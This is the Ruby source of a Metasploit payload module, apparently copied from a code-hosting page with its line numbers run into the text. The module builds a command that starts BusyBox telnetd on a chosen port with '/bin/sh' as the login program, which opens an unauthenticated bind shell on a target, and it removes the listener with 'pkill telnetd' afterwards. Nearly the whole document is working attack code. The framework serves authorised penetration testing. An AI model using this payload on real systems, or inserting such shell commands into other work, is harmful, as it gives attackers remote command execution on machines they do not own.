Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/bind_busybox_telnetd.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 26910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Bind TCP (via BusyBox telnetd)',16'Description' => 'Listen for a connection and spawn a command shell via BusyBox telnetd',17'Author' => 'Matthew Kienow <matthew_kienow[AT]rapid7.com>',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::BindTcp,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'telnetd',25'Payload' => {26'Offsets' => { },27'Payload' => ''28}29))3031register_options(32[33OptString.new('LOGIN_CMD', [true, 'Command telnetd will execute on connect', '/bin/sh']),34]35)3637register_advanced_options(38[39OptString.new('CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'pkill telnetd']),40OptString.new('TelnetdPath', [true, 'The path to the telnetd executable', 'telnetd'])41]42)43end4445#46# Constructs the payload47#48def generate(_opts = {})49vprint_good(command_string)50return super + command_string51end5253#54# Returns the command string to use for execution55#56def command_string57"#{datastore['TelnetdPath']} -l #{datastore['LOGIN_CMD']} -p #{datastore['LPORT']}"58end5960end616263